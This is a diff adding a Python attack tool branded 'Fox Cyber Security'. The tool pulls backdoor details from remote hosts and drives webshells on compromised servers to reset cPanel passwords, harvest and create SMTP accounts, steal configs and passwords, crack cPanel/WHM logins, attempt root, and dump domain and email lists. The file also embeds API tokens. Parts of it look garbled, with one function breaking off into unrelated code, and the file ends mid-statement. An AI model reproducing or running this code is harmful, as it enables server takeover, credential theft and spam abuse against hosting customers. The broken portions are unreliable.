diff --git a/F_rev.py b/F_rev.py new file mode 100644 index 0000000..4c84197 --- /dev/null +++ b/F_rev.py @@ -0,0 +1,2963 @@ +def modelsInstaller(): + try : + models = ['requests', 'colorama', 'mechanize', 'selenium', 'imgurpython', 'python-gyazo'] + for model in models: + try: + if (sys.version_info[0] < 3): + os.system('cd C:\Python27\Scripts & pip install {}'.format(model)) + else : + os.system('py -m pip install {}'.format(model)) + print (' ') + print (' [+] {} has been installed successfully, Restart the program.'.format(model)) + print (' ') + except: + print (' [-] Install {} manually.'.format(model)) + print (' ') + except: + pass + +import re, sys, os, random, string, time, ssl, json, socket, base64, platform, codecs, binascii, glob, shutil +from time import time as timer +try : + import requests, mechanize, selenium, imgurpython, gyazo + from selenium.webdriver.common.by import By + from colorama import Fore + from colorama import init +except : + modelsInstaller() + +init(autoreset=True) +requests.packages.urllib3.disable_warnings() + +fr = Fore.RED +fc = Fore.CYAN +fw = Fore.WHITE +fg = Fore.GREEN +fm = Fore.MAGENTA +fy = Fore.YELLOW +fb = Fore.BLUE +flb = Fore.LIGHTBLUE_EX +flc = Fore.LIGHTCYAN_EX +flg = Fore.LIGHTGREEN_EX +flm = Fore.LIGHTMAGENTA_EX +flr = Fore.LIGHTRED_EX +fly = Fore.LIGHTYELLOW_EX + +def domain_Fox(site): + site = str(site) + if (site.startswith("http://")) : site = site.replace("http://", "") + elif (site.startswith("https://")) : site = site.replace("https://", "") + if ('www.' in site) : site = site.replace("www.", "") + if ('/' in site): + site = site.rstrip() + site = site.split('/')[0] + return str(site) + +def URL_FOX(site): + site = str(site) + if (site.startswith('http://')) : site = site.replace('http://', ''); p = 'http://' + elif (site.startswith('https://')) : site = site.replace('https://', ''); p = 'https://' + else : p = 'http://' + if ('/' in site): site = site.rstrip().split('/')[0] + return '{}{}'.format(p, site) + +def URL_P(panel): + try: + admins = ['/wp-login.php', '/admin', '/user'] + for admin in admins: + if (str(admin) in str(panel)): return re.findall(re.compile('(.*){}'.format(admin)), panel)[0] + return str(panel).decode('utf8') + except: + return str(panel) + +def shell_Form(shell_URL): + try: + shell_URL = str(shell_URL) + if (not shell_URL.startswith('http://') and not shell_URL.startswith('https://')): shell_URL = 'http://{}'.format(shell_URL) + return str(shell_URL) + except: + return str(shell_URL) + +def input_Fox(txt): + try : + if (sys.version_info[0] < 3): return raw_input(txt).strip() + else : + sys.stdout.write(txt) + return input().strip() + except: + pass + +def file_get_contents_Fox(filename): + with open(filename) as f: return f.read() + +def file_get_contents_Fox2(filename): + with open(filename, 'rb') as f: return f.read() + +def Random_array_Fox(arr): + for n in range(len(arr) - 1): + rnd = random.randint(0, (len(arr) - 1)) + val1 = arr[rnd] + val2 = arr[rnd - 1] + arr[rnd - 1] = val1 + arr[rnd] = val2 + return arr + +def shellPath_Fox(url, filename, ty): + try: + url = str(url) + if ('?' in url): url = url.split('?')[0] + if (ty == 1): shell_path = url.replace(url.split('/')[-1], filename) + if (ty == 2): shell_path = '{}/{}'.format(URL_FOX(url), filename) + return str(shell_path) + except: + return False + +def random_Fox(length): + letters = string.ascii_lowercase + return ''.join(random.choice(letters) for i in range(length)) + + +def imgurproof(argument): + try : + from imgurpython import ImgurClient + imgurapi=ImgurClient('dfb8c853b85d19f','c022256a3d5f14b2541f2d122ebbaff19a8fa6a9') + response=imgurapi.upload_from_path('screenshots/{}'.format(argument), config = None , anon = True) + return response['link'] + except : + return False + +def gyazoproof(argument): + try : + from gyazo import Api + client=Api( access_token = 'goVyPHZD44tWGZLvDt6fA3h4YcvNUw8r4-xwm6n31v8') + with open('screenshots/{}'.format(argument),'rb') as file: + upload=client.upload_image(file) + json_response=json.loads(upload.to_json()) + json_response=json_response['url'] + return json_response + except : + print('') + print(" {}[!] Error [can't upload proofs], You have to change your IP by VPN.".format(fr)) + print('') + return False + +def content_Fox(req): + if (sys.version_info[0] < 3): + try: + try: return str(req.content) + except: + try: return str(req.content.encode('utf-8')) + except: return str(req.content.decode('utf-8')) + except: return str(req.text) + else: + try: + try: + return str(req.content.decode('utf-8')) + except: + try: return str(req.content.encode('utf-8')) + except: return str(req.text) + except: return str(req.content) + +def passwrod_creator(): + try: + lower = string.ascii_lowercase + upper = string.ascii_uppercase + num = string.digits + symbols = '!#%^*_-=/?.!#%^*_-=/?.!#%^*_-=/?.!#%^*_-=/?.' + pwd = '{}{}{}{}'.format(lower, upper, num, symbols) + temp = random.sample(pwd, 12) + password = "".join(temp) + SpecialSym = ['!', '#', '%', '^', '*', '_', '-', '=', '/', '?', '.'] + while(not any(char.isdigit() for char in password) or not any(char.isdigit() for char in password) or not any(char.isupper() for char in password) or not any(char in SpecialSym for char in password)): + temp = random.sample(pwd, 12) + password = "".join(temp) + return '{}{}'.format(random_Fox(1), password) + except: + return False + +def getError(ty): + if (ty == 1): + print(' [-] {}Make sure you are connected to the internet.'.format(fr)) + print(' [-] {}OR You must to change your IP/RDP.'.format(fr)) + else: + print(' [-] {}You must to change your IP/RDP.'.format(fr)) + print(' [!] Or Do a report for Fox, Telegram: {}@Anonymous_F0x\n'.format(fc)) + +def getinfoFox(): + global headers1, backdoor1, backdoor2, backdoor3, backdoor4 + try : + domains=['ufox.co', 'ufox.bz'] + for domain in domains: + try: + r=requests.get('http://{}/info/info_v8.txt'.format(domain), headers = headers1, verify = False, timeout = 15) + r=content_Fox(r) + if (re.findall(re.compile("\\'script\\': \\'(.*)\\'"),r)): + break + except: + pass + if (re.findall(re.compile("\\'script\\': \\'(.*)\\'"),r)): + __script__=re.findall(re.compile("\\'script\\': \\'(.*)\\'"),r) + else: + getError(1); + return False + backdoor1=re.findall(re.compile("\\'files\\': \\'(.*)\\'"),r) + backdoor2=re.findall(re.compile("\\'UP\\': \\'(.*)\\'"),r)[0] + backdoor3=re.findall(re.compile("\\'A\\': \\'(.*)\\'"),r)[0] + backdoor4=re.findall(re.compile("\\'M\\': \\'(.*)\\'"),r)[0] + except Exception as E: + getError(1) + return False + +def log(): + logo = ''' +{} [{}#{}] Create :: +{} ################## +{} # ########################## +{} ############ ############################## +{} ############### ################################## +{} ################ ##################################### +{} ################ ####################################### +{} ################# ####################################### +{} ################## ####################################### +{} ################## ###################################### +{} ################### ########## ################## +{} #################### #### ################### +{} #################### #################### +{} #################### #################### +{} #################### #################### +{} #################### #################### +{} #################### #################### +{} ################### ################### +{} ################### ## ## ################## +{} ################# #### #### ################## +{} ################### ################## +{} ####################### ###################### +{} ######################### ######################## +{} ########################## ######################### +{} ########################### ########################## +{} ################################################### +{} ################################################ +{} ########################################### +{} ###################################### +{} ################################ +{} ####################### + + {}F{}ox{}C{}yber{}S{}ecurity. +'''.format(fw, fr, fw, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fg, fy, fw, fy, fw, fy, fw) + for line in logo.split("\n"): + print(line) + time.sleep(0.06) + +headers1={'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-GB,en;q=0.5'} + + +headers2 = {'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36', 'Cookie': 'POST=n1zb/ma5\\vt0i28-pxuqy*6lrkdg9_ehcswo34*f37jMDgQuFPkCVGmOdnrNEjeLKtZocSxfvTIRUzlYWHyqhaXswBpiAbJ', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-GB,en;q=0.5'} + +def shellFox(): + try: + global shell_Fox + getFile('bk.txt', '96701795824345681') + shell_Fox = file_get_contents_Fox('Files/bk.txt') + if ('(.*)

'), msg)): code = re.findall(re.compile('bold">(.*)

'), msg)[0] + elif(re.findall(re.compile('bold\">(.*)<\/p>'), msg)): code = re.findall(re.compile('bold\">(.*)<\/p>'), msg)[0] + elif (re.findall(re.compile('bold\\">(.*)<\\/p>'), msg)): code = re.findall(re.compile('bold\\">(.*)<\\/p>'), msg)[0] + if('<' in str(code)): code = str(code).split('<')[0] + return str(code) + except: + return 'F' + +def msg_chekcer_Fox(email, code): + try: + user = email.split('@')[0] + domain = email.split('@')[1] + ck_sj = requestG_Fox('https://www.1secmail.com/api/v1/?action=getMessages&login={}&domain={}'.format(user, domain), 1, headers1) + #subject = ck_sj.json()[0]["subject"] + if (str(code) in ck_sj): return 'S' + return 'F' + except: + return 'F' + +def en(string): + return binascii.hexlify(str(codecs.encode(string,'rot13')).encode('utf8')).decode('utf8')[::-1] + +def delete_files(folder, exc): + try: + files = glob.glob("{}/*.{}".format(folder, exc)) + for file in files: + try: + os.remove(file) + except: + pass + except: + pass + +def resetPwdA_Fox(backdoor, urlShell) : + try: + global success1, success2 + sys.stdout.write(' {}[*] Reset cPanel Password Automatically '.format(fw)); waiting() + post = {'action': 'reseta'} + resetPwd = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post, headers2) + if ('' in resetPwd) : + cp = re.findall(re.compile('(.*)'), resetPwd)[0] + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, cp)) + open('Results/cPanels_Reseted.txt', 'a').write('{}\n'.format(cp)); success1 = 1 + elif (re.findall(re.compile('(.*)'), resetPwd)) : print (' {}[-] {}.'.format(fr, re.findall(re.compile('(.*)'), resetPwd)[0])) + else : + email = getEmail() + if (email == 'F'): + print (' {}[-] Reset Password Failed.\n {}[!] Try {}[Semi-Automatic].'.format(fr, fw, fr)) + open('Results/Try_Rest_cPanel_Semi_Automatic.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + return + post_e = {'action': 'resets', 'email': email} + resetPwd = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_e, headers2) + time.sleep(10) + code = get_SCode_Fox(email) + start = timer() + while ((code == 'F') and ((timer() - start) <= 90)): + time.sleep(10) + code = get_SCode_Fox(email) + if (code == 'F') : + print (' {}[-] Reset Password Failed.\n {}[!] Try {}[Semi-Automatic].'.format(fr, fw, fr)) + open('Results/Try_Rest_cPanel_Semi_Automatic.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + return + post_c = {'action': 'resets', 'code': code} + resetPwd = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_c, headers2) + if ('' in resetPwd): + cp = re.findall(re.compile('(.*)'), resetPwd)[0] + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, cp)) + open('Results/cPanels_Reseted.txt', 'a').write('{}\n'.format(cp)); success1 = 1 + else: + print (' {}[-] Reset Password Failed.\n {}[!] Try {}[Semi-Automatic].'.format(fr, fw, fr)) + open('Results/Try_Rest_cPanel_Semi_Automatic.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + except: + print (' {}[-] Reset Password Failed.\n {}[!] Try {}[Semi-Automatic].'.format(fr, fw, fr)) + open('Results/Try_Rest_cPanel_Semi_Automatic.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + +def resetPwdS_Fox(backdoor, urlShell, email) : + try: + global success1, success2 + sys.stdout.write(' {}[*] Reset cPanel Password Semi-Automatically '.format(fw)); waiting() + post_e = {'action': 'resets', 'email': email} + resetPwd = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_e, headers2) + if ('' in resetPwd) : + cp = re.findall(re.compile('(.*)'), resetPwd)[0] + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, cp)) + open('Results/cPanels_Reseted.txt', 'a').write('{}\n'.format(cp)); success1 = 1 + elif (re.findall(re.compile('(.*)'), resetPwd)) : print (' {}[-] {}.'.format(fr, re.findall(re.compile('(.*)'), resetPwd)[0])); return + print(' {}[+] The system sent the security code to your email.'.format(fg)) + code = str(input_Fox(' {}[!] Enter the security code :{} '.format(fw, fr))).strip() + if (code == ''): + print (' {}[-] The code is wrong.'.format(fr)) + open('Results/Try_Rest_cPanel_manually.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + return + post_c = {'action': 'resets', 'code': code} + resetPwd = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_c, headers2) + if ('' in resetPwd): + cp = re.findall(re.compile('(.*)'), resetPwd)[0] + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, cp)) + open('Results/cPanels_Reseted.txt', 'a').write('{}\n'.format(cp)); success1 = 1 + else: + print (' {}[-] Reset Password Failed.'.format(fr)) + open('Results/Try_Rest_cPanel_manually.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + except: + print (' {}[-] Reset Password Failed.'.format(fr)) + open('Results/Try_Rest_cPanel_manually.txt', 'a').write('{}\n'.format(urlShell)); success2 = 1 + +def SMTPs_finder(backdoor) : + try: + global success1 + sys.stdout.write(' {}[*] Finding SMTPs '.format(fw)); waiting() + post_f = {'action': 'smtps'} + SMTP_F = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_f, headers2) + if ('Error-SMTP' in SMTP_F) : print (' {}[-] Another someone has already withdraw it.'.format(fr)) + elif ('' in SMTP_F) : + if (re.findall(re.compile('(.*)'), SMTP_F)): SMTPs = re.findall(re.compile('(.*)'), SMTP_F) + print (' {}[+] Succeeded.'.format(fg)) + for SMTP in SMTPs: + if ('!!' in SMTP): SMTP = SMTP.replace('!!', '@') + print(' {}- {}{}'.format(fg, fr, SMTP)) + open('Results/SMTPs.txt', 'a').write('{}\n'.format(SMTP)); success1 = 1 + else: print (' {}[-] There is no SMTP.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def SMTP_creator(backdoor) : + try: + global success2 + sys.stdout.write(' {}[*] Creating SMTP '.format(fw)); waiting() + post_g = {'action': 'smtp'} + SMTP_C = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_g, headers2) + if ('' in SMTP_C) : + smtpC = re.findall(re.compile('Domian => (.*)
Port => (.*)

SMTPname => (.*)

Password => (.*)
'), SMTP_C)[0] + smtp = '{}|{}|{}@{}|{}'.format(smtpC[0], smtpC[1], smtpC[2], smtpC[0], smtpC[3]) + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, smtp)) + open('Results/SMTPs_Created.txt', 'a').write('{}\n'.format(smtp)); success2 = 1 + else: print (' {}[-] There is no WebMail.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def SMTPs(backdoor) : + try: + SMTPs_finder(backdoor) + SMTP_creator(backdoor) + except: + pass + +def info(backdoor, shell) : + try: + global success1, success2, success3 + txtSav = '' + sys.stdout.write(' {}[*] INFO '.format(fw)); waiting() + post_f = {'action': 'info'} + sc_F = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_f, headers2) + uname = re.findall(re.compile('
(.*)

'), sc_F)[0] + pwd = re.findall(re.compile('
(.*)

'), sc_F)[0] + ip = re.findall(re.compile('
(.*)

'), sc_F)[0] + phpv = re.findall(re.compile('
(.*)

'), sc_F)[0] + hosting = re.findall(re.compile('
(.*)

'), sc_F)[0] + country = re.findall(re.compile('
(.*)

'), sc_F)[0] + txtSav = '{}{}'.format(txtSav, '{}\n'.format(shell)) + print (' {}[U] {}'.format(fm, uname)); txtSav = '{}{}'.format(txtSav, 'Uname: {}\n'.format(uname)) + print (' {}[P] {}'.format(fm, pwd)); txtSav = '{}{}'.format(txtSav, 'PWD: {}\n'.format(pwd)) + if ('[-] Windows' in sc_F): + print (' {}[*] OS: {}Windows'.format(fr, fg)); txtSav = '{}{}'.format(txtSav, 'OS: Windows\n') + open('Results/Windows_servers.txt', 'a').write('{}\n'.format(shell)) + else: + print (' {}[*] OS: {}Linux'.format(fr, fg)); txtSav = '{}{}'.format(txtSav, 'OS: Linux\n') + if (' 2015 ' in uname or ' 2014 ' in uname or ' 2013 ' in uname or ' 2012 ' in uname or ' 2011 ' in uname or ' 2010 ' in uname): open('Results/Roots_servers.txt', 'a').write('{}\n'.format(shell)) + elif (' 2016 ' in uname): + if (' Dec ' not in uname and ' Nov ' not in uname): open('Results/Roots_servers.txt', 'a').write('{}\n'.format(shell)); success2 = 1 + if ('[+] cPanel' in sc_F): + print (' {}[*] SC: {}cPanel'.format(fr, fg)); txtSav = '{}{}'.format(txtSav, 'SC: cPanel\n') + open('Results/cPanel_servers.txt', 'a').write('{}\n'.format(shell)); success3 = 1 + elif ('[+] vHosts' in sc_F): + print (' {}[*] SC: {}vHosts'.format(fr, fg)); txtSav = '{}{}'.format(txtSav, 'SC: vHosts\n') + open('Results/vHosts_servers.txt', 'a').write('{}\n'.format(shell)) + print (' {}[*] PHP: {}{}'.format(fr, fg, phpv)); txtSav = '{}{}'.format(txtSav, 'PHP: {}\n'.format(phpv)) + print (' {}[*] IP: {}{}'.format(fr, fg, ip)); txtSav = '{}{}'.format(txtSav, 'IP: {}\n'.format(ip)) + print (' {}[*] Hosting: {}{}'.format(fr, fg, hosting)); txtSav = '{}{}'.format(txtSav, 'Hosting: {}\n'.format(hosting)) + print (' {}[*] Conuntry: {}{}'.format(fr, fg, country)); txtSav = '{}{}'.format(txtSav, 'Conuntry: {}\n'.format(country)) + if(re.findall(re.compile('
(.*)

'), sc_F)): + domains = re.findall(re.compile('
(.*)

'), sc_F)[0] + try: domains = int(domains) + except: domains = 0 + if(domains != 0): + print (' {}[*] Domains: {}{}'.format(fr, fg, domains)) + txtSav = '{}{}'.format(txtSav, 'Domains: {}\n'.format(domains)) + open('Results/info_servers.txt', 'a').write('{}--------------------------------------------------------------------------------------------------\n'.format(txtSav)); success1 = 1 + except : + print(' {}[-] Failed.'.format(fr)) + +def accesshash_mycnf(backdoor, shell) : + try: + global success1, success2, backdoor3, backdoor4 + sys.stdout.write(' {}[*] (.accesshash/.my.cnf) Files Finder '.format(fw)); waiting() + post_a = {'action': 'accesshash'} + AC_MY = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_a, headers2) + acss = 0 + if ('[+] Accesshash' in AC_MY): + print (' {} -{} {} => {}[{}Accesshash{}]'.format(fr, fg, shell, fr, fg, fr)) + open('Results/accesshash.txt', 'a').write('{}?action={}\n'.format(backdoor, backdoor3)); success1 = 1 + acss = 1 + else: print (' {} - {} => [Not Found Accesshash]'.format(fr, shell)) + if ('[+] mycnf' in AC_MY): + print (' {} -{} {} => {}[{}Mycnf{}]'.format(fr, fg, shell, fr, fg, fr)) + open('Results/mycnf.txt', 'a').write('{}?action={}\n'.format(backdoor, backdoor4)); success2 = 1 + else: print (' {} - {} => [Not Found Mycnf]'.format(fr, shell)) + if (acss == 1): WHM_AH_exploiter(backdoor) + except: + print (' {}[-] Failed.'.format(fr)) + +def configs(backdoor, shell): + try: + sys.stdout.write(' {}[*] Trying get Configs '.format(fw)); waiting() + post_c = {'action': 'config'} + try: conf = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=post_c, headers=headers2, verify=False, timeout=240)) + except: conf = '' + if('' not in conf): + post_f = {'action': 'finder', 'action1': '200'} + conf = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), 1, post_f, headers2) + folder = re.findall(re.compile('(.*)'), conf)[0] + cf_path = shellPath_Fox(backdoor, '{}/'.format(folder), 1) + ck_conf = requestG_Fox(cf_path, 1, headers1, 500) + if ('Index of' in ck_conf): + print (' {}[+] Configs => {}{}'.format(fg, fr, cf_path)) + if('.txt' not in ck_conf): print (' {}[-] There is no Config.'.format(fr)); return False + sc_F = str(script_Finder(backdoor, cf_path, shell)) + if (sc_F == '101'): print (' {}[-] Please, try manually.'.format(fr)); return False + elif (sc_F == '404'): + print (' {}[-] 404 Config.'.format(fr)) + cf_path = configs404(backdoor, shell) + if (cf_path is False): return False + else: return cf_path[0], cf_path[1] + else: print (sc_F); return cf_path, ck_conf + else: print (' {}[-] Failed.1'.format(fr)); return False + except : + return False + +def configs404(backdoor, shell): + try: + sys.stdout.write(' {}[*] Trying get Configs{}404 '.format(fw, fr)); waiting() + post_c = {'action': '404'} + try: conf404 = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=post_c, headers=headers2, verify=False, timeout=300)) + except: conf404 = '' + if('' not in conf404): + post_f = {'action': 'finder', 'action1': '404'} + conf404 = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), 1, post_f, headers2) + folder = re.findall(re.compile('(.*)'), conf404)[0] + cf_path = shellPath_Fox(backdoor, '{}/'.format(folder), 1) + ck_conf = requestG_Fox(cf_path, 1, headers1, 500) + if ('Index of' in ck_conf): + print (' {}[+] Configs{}404{} => {}{}'.format(fg, fr, fg, fr, cf_path)) + sc_F = str(script_Finder(backdoor, cf_path, shell, '404')) + if (sc_F == '404' or sc_F == '101'): print (' {}[-] There is no Config.'.format(fr)); return False + else: print (sc_F); return cf_path, ck_conf + else: print (' {}[-] Failed.'.format(fr)); return False + except: + print (' {}[-] Failed.'.format(fr)); return False + +def HTML_cleaner(src): + try: + src = str(src) + if ('&' in src): src = src.replace('&', '&') + if ('<' in src): src = src.replace('<', '<') + if ('>' in src): src = src.replace('>', '>') + return str(src) + except: + return str(src) + +def script_Finder(backdoor, configsURL, shell, typ = '200'): + rz = '404' + global passwordsTXT, whmcsS, success1 + whmcsS = [] + try: + sys.stdout.write(' {}[*] Trying Check Scripts '.format(fw)); waiting() + post_c = {'action': 'password', 'action1': typ, 'url': configsURL} + sc_F = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_c, headers2, 500) + if (re.findall(re.compile('(.*)'), sc_F)): rz = re.findall(re.compile('(.*)'), sc_F)[0] + elif ('' in sc_F): + if (re.findall(re.compile('
(.*)'), sc_F)): + passwords = re.findall(re.compile('
(.*)'), sc_F) + passwordsTXT = '' + for password in passwords: + password = HTML_cleaner(str(password)) + passwordsTXT = '{}{}\n'.format(passwordsTXT, password) + if (re.findall(re.compile('
(.*)'), sc_F)): + whmcs = re.findall(re.compile('
(.*)'), sc_F) + for whm in whmcs: + whmcsS.append(whm) + if (re.findall(re.compile('
(.*)
'), sc_F)): + countWP = int(re.findall(re.compile('
(.*)
'), sc_F)[0]) + else: countWP = 0 + if (re.findall(re.compile('
(.*)
'), sc_F)): + countJM = int(re.findall(re.compile('
(.*)
'), sc_F)[0]) + else: countJM = 0 + if (re.findall(re.compile('
(.*)
'), sc_F)): + countOC = int(re.findall(re.compile('
(.*)
'), sc_F)[0]) + else: countOC = 0 + rz = ' {}[+] Found {}{}{} WordPress Configs, {}{}{} Joomla Configs, {}{}{} OpenCart Configs'.format(fg, fr, countWP, fg, fr, countJM, fg, fr, countOC, fg) + if(whmcsS): rz = '{}\n {}[+] Found {}WHMCS'.format(rz, fg, flb) + open('Results/Configs.txt', 'a').write('Shell => {}\nConfig => {}\n[+] Found {} WordPress Config, {} Joomla Config, {} OpenCart Config\n--------------------------------------------------------------------------------------------------\n'.format(shell, configsURL, countWP, countJM, countOC)); success1 = 1 + return rz + except: + return rz + +def cPanels_Cracker(backdoor) : + try: + global success2, success3 + sys.stdout.write(' {}[*] cPanels-WHM Crack '.format(fw)); waiting() + post_c = {'action': 'users'} + cp_us = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_c, headers2) + usernames = re.findall(re.compile('(.*)'), cp_us) + usernamesTXT = '' + for username in usernames: usernamesTXT = '{}{}\n'.format(usernamesTXT, str(username)) + post_ck = {'action': 'cp', 'passwords': passwordsTXT, 'usernames': usernamesTXT} + cp_ck = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_ck, headers2, 1000) + if ('0' in cp_ck): print (' {}[-] Found 0 cPanel.'.format(fr)) + else: + n = re.findall(re.compile('(.*)'), cp_ck)[0] + if (re.findall(re.compile('(.*)'), cp_ck)): cpanelRs = re.findall(re.compile('(.*)'), cp_ck) + if (re.findall(re.compile('(.*)'), cp_ck)): cpanels = re.findall(re.compile('(.*)'), cp_ck) + print (' {}[+] Found {} cPanel.'.format(fg, n)) + if ('cpanels' in locals()): + for cpanel in cpanels: + cpanel = HTML_cleaner(cpanel) + print(' {} - {}{}'.format(fg, fr, cpanel)) + open('Results/cPanels_Cracked.txt', 'a').write('{}\n'.format(cpanel)); success2 = 1 + if ('cpanelRs' in locals()): + for cpanelR in cpanelRs: + cpanelR = HTML_cleaner(cpanelR) + print (' {} - {}{} [{}Reseller{}]'.format(fr, fg, cpanelR, fr, fg)) + open('Results/cPanels_Cracked.txt', 'a').write('{}\n'.format(cpanelR)); success2 = 1 + cpRs = cpanelR.replace(':2083', ':2087') + open('Results/WHM_Resellers_Cracked.txt', 'a').write('{}\n'.format(cpRs)); success3 = 1 + WHM_exploiter(backdoor, cpanelRs) + except: + print (' {}[-] Please, try manually.'.format(fr)) + +def rooter(backdoor, shell) : + try: + global success1 + sys.stdout.write(' {}[*] Trying get Root '.format(fw)); waiting() + post_r = {'action': 'root'} + try: g_root = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), data=post_r, headers=headers2, verify=False, timeout=300)) + except: g_root = '' + if ('Error2-Root' in g_root): print (' {}[-] It doesn\'t work with ./dirty.'.format(fr)); return + if (g_root == ''): time.sleep(15) + post_k = {'action': 'check'} + ck_rt = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_k, headers2) + if('' not in ck_rt): print (' {}[-] It didn\'t work with ./dirty.'.format(fr)) + ip_serv = re.findall(re.compile('(.*)'), ck_rt)[0] + print(' {}[+] Succeeded.\n - {} IP: {} {}|{} PORT: 22 {}|{} USERNAME: root {}|{} PASSWORD: 0'.format(fg, fr, ip_serv, fw, fr, fw, fr, fw, fr)) + print(' {}[!] Note 1: Port 22, It is the default port, If it does not work, Execute: [{}netstat -lnp --ip{}]'.format(fw, fr, fw)) + print(' {}[!] Note 2: It is best to wait 5 minutes before trying to log in.'.format(fw)) + open('Results/ROOTs.txt', 'a').write('{}\n{}|22|root|0\n---------------------------------------------------------------------------------------------------\n'.format(shell, ip_serv)); success1 = 1 + except: + print (' {}[-] Failed.'.format(fr)) + +def HTML_Filter(src): + try: + key_one = src.rfind('>') + new_src = src[key_one:][1:] + return new_src + except: + return False + +def domains(backdoor) : + try: + sys.stdout.write(' {}[*] Trying get Domains '.format(fw)); waiting() + post_d = {'action': 'domains'} + gt_doms = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_d, headers2) + if('' in gt_doms): print (' {}[-] Failed.'.format(fr)); return + ip_serv = re.findall(re.compile('(.*)'), gt_doms)[0] + gt_doms = HTML_Filter(gt_doms) + if(gt_doms is False): print (' {}[-] Failed.'.format(fr)); return + domains_counter = 0 + gt_doms = gt_doms.split('\n') + domains_F = '' + for gt_dom in gt_doms: + if('.' in gt_dom): + domains_F = '{}{}\n'.format(domains_F, gt_dom) + domains_counter = domains_counter + 1 + patheListDomains = r'Results/Domains_lists' + if (not os.path.exists(patheListDomains)): os.makedirs(patheListDomains) + open('Results/Domains_lists/{}.txt'.format(ip_serv), 'w').write(domains_F) + open('Results/Domains_lists/0.0.0.0.All_Domains.txt', 'a').write(domains_F) + print (' {}[+] Number of domains: {}{}'.format(fg, fr, domains_counter)) + print (' {}[+] Saved in {}Results/Domains_lists/{}.txt'.format(fg, fr, ip_serv)) + except: + print (' {}[-] Failed.'.format(fr)) + +def mail_single(backdoor): + try: + sys.stdout.write(' {}[*] Trying get Mails '.format(fw)); waiting() + post_m = {'action': 'mail'} + try: gt_mail = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), data=post_m, headers=headers2, verify=False, timeout=1005)) + except: gt_mail = '' + if ('' in gt_mail): print (' {}[-] Failed.'.format(fr)); return + if(gt_mail == ''): time.sleep(90) + post_e = {'action': 'email'} + gt_mail = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_e, headers2) + if ("" in gt_mail): + domain_serv = re.findall(re.compile('(.*)'), gt_mail)[0] + emails_p = shellPath_Fox(backdoor, 'Emails.txt', 1) + gt_mail = requestG_Fox(emails_p, 1, headers1, 505) + if('@' not in gt_mail): print (' {}[-] There is no Email.'.format(fr)); return + post_d = {'action': 'delete'} + requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_d, headers2) + patheListEmails = r'Results/Emails_lists' + if (not os.path.exists(patheListEmails)): os.makedirs(patheListEmails) + mails_counter = mail_filter(gt_mail) + if(int(mails_counter) == 0): print (' {}[-] There is no Email.'.format(fr)); return + open('Results/Emails_lists/{}_Single.txt'.format(domain_serv), 'w').write(gt_mail) + open('Results/Emails_lists/0.0.0.0.All_Mails.txt', 'a').write('{}\n'.format(gt_mail)) + print (' {}[+] 